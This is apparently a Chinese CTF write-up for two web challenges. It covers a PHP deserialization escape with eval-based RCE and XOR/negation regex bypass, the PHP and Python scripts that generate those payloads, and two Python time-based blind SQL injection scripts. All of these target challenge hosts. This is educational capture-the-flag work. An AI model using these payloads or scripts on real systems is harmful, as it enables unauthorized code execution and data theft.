WEB
unserialize
https://www.yuque.com/dat0u/ctf/nbi10ws81g2b7wpo 大佬博客
复现环境搭建
docker run -it -d -p 12345:80 -e FLAG=flag{Congrational_you_get_1t!} lxxxin/dfjk2023_unserialize
首先下载WWW.zip包发现源码
index.php:
<?php
include_once "my.php";
include_once "function.php";
include_once "login.html";
session_start();
if (isset($_POST['root']) && isset($_POST['pwd'])) { //
$root = $_POST['root'];
$pwd = $_POST['pwd'];
$login = new push_it($root, $pwd);
$_SESSION['login'] = b(serialize($login)); //要逃逸 因为这里被 serialize反序列化掉了 //进行传参
die('<script>location.href=`./login.php`;</script>');
}
?>
my.php
分析my.php的代码可以发现这里有危险类pull_it类,$preg_mach可以利用XOR绕过实现getshell
<?php
class pull_it {
private $x;
function __construct($xx) {
$this->x = $xx;
}
function __destruct() {
if ($this->x) {
$preg_match = 'return preg_match("/[A-Za-z0-9]+/i", $this->x);'; //无数字字母 RCE 亦或绕过
if (eval($preg_match)) {
echo $preg_match;
exit("save_waf");
}
@eval($this->x);
}
}
}
//O:7:"push_it":2:{s:13:" push_it root";s:1:"1";s:12:" push_it pwd";s:93:"("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%03%01%08%00%00%06%00"^"%60%60%7c%20%2f%60%2a");";}
class push_it {
private $root;
private $pwd;
function __construct($root, $pwd){
$this->root = $root;
$this->pwd = $pwd;
}
function __destruct(){
unset($this->root);
unset($this->pwd);
}
function __toString(){
if (isset($this->root) && isset($this->pwd)){
echo "<h1>Hello, $this->root</h1>"; //
}
else {
echo "<h1>out!</h1>";
}
}
}
?>
function.php
看这里想到了php反序列化逃逸,这题主要利用a函数实现逃逸
<?php
function b($data) {
return str_replace('aaaa', 'bbbbbb', $data); // +2
}
function a($data) {
return str_replace('bbbbbb', 'aaaa', $data); //bbbbbb --- aaaa -2
}
?>
login.php
<?php
session_start();
include_once "my.php";
include_once "function.php";
if (!isset($_SESSION['login'])) {
echo '<script>alert(`Login First!`);location.href=`./index.php`;</script>';
}
$login = @unserialize(a($_SESSION['login'])); // session 逃逸 2 len 传参
echo $login;
?>
查看了这个代码逻辑,感觉可以用对象逃逸来做,然后XOR绕过实现无数字字母RCE,但是这题光逃逸还是不行的,因为这里__tostring__没有返回字符串报了一个错误
一 .我们可以利用Fast Destruction数组绕过一下
https://boogipop.com/2023/07/21/%E5%B7%85%E5%B3%B0%E6%9E%81%E5%AE%A2%202023%20Web%20Write%20Up/#unserialize
补一下Fast Destruction的姿势:
https://hackerqwq.github.io/2021/08/29/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%B0%8F%E6%8A%80%E5%B7%A7%E4%B9%8BFast-Destruct/
function __toString(){
if (isset($this->root) && isset($this->pwd)){
echo "<h1>Hello, $this->root</h1>"; //
}
else {
echo "<h1>out!</h1>";
}
}
}
payload:
root=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb&pwd=1";s:12:"%00push_it%00pwd";a:2:{i:1;O:7:"pull_it":1:{s:10:"%00pull_it%00x";s:22:"(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);";};i:1;N;}
但是我看了联队师傅的payload没有用到这个技巧直接绕过了,疑惑:
root=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb&pwd=%22%3Bs%3A12%3A%22%00push_it%00pwd%22%3BO%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A20%3A%22%28%7E%8C%86%8C%8B%9A%92%29%28%7E%9C%9E%8B%DF%D0%99%D5%29%3B%22%3B%7D
然后带着session触发/login.php下的a函数和unserialize即可拿到flag
flag{8382843b-d3e8-72fc-6625-ba5269953b23}
后面贴一下XOR的脚本,然后好多人用的取反绕过也可以实现
用xor亦或绕过正则表达式
xor.php脚本生成合法的字符
<?php
/*author yu22x*/
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { //亦或操作
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[A-Za-z0-9]+/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents); // 写文件操作
fclose($myfile);
python脚本生成命令执行
import requests
import urllib
from sys import *
import os
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("xor_rce.txt", "r") #
while True:
t = f.readline() #
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5] # 切片
s2 += t[6:9] #
break
f.close()
output = "(\"" + s1 + "\"^\"" + s2 + "\")"
return (output) ##
while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
print(param)
hellosql
这题没有找到复现环境就简单的看一下吧
import requests
# sql = "select group_concat(table_name) from information_schema.tables where table_schema=database()" #Flllag
# sql = "select group_concat(column_name) from information_schema.columns where table_name='Flllag' and table_schema=database()" #Flagg
sql = "select group_concat(Flagg) from Flllag"
j = 36
flag = "flag{h3Ltx545LiDwpjQ8Ij1x241wIxS4fa"
while True:
for i in range(32, 128):
burp0_url = "http://web-bd1bbd084b.challenge.xctf.org.cn/index.php?id=1'||case+when(ascii(substr(({}),{},1))={})then(select sum('1')from information_schema.tables A,information_schema.columns B,information_schema.columns C)end-- ".format(sql, j, i)
print burp0_url
try:
requests.get(burp0_url, timeout=3)
if i == 127:
j = -1
except:
flag += chr(i)
print flag
j += 1
break
if j == -1:
print flag
exit(0)
import requests,string,time
#select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
#select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = 'xxx'
#select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA = 'xxx' and TABLE_NAME = 'xxx'
#group_concat(table_name) from information_schema.tables where table_schema=
dic=string.printable.replace("*","")
url='http://web-d7d8079aa0.challenge.xctf.org.cn/?id='
p1='''case when({}) then (select sum("A") FROM information_schema.columns A,information_schema.tables B,information_schema.tables C) else 1 end||'1'='1'''
string=''
for i in range(1,100):
for j in dic:
exp=p1.format("((substr(({}),{},1)))=BINARY('{}')").format("select Flagg from Flllag",str(i),j)
data = "1'||{}".format(exp)
#print(data)
now=time.time()
try:
r=requests.get(url+data,timeout=3)
if "nonono" in r.text:
print(r.text)
print(data)
print("baned")
exit(0)
except Exception as e:
pass
# print(time.time() - now)
if time.time() - now > 3:
string+=j
print(string)
break
print(string)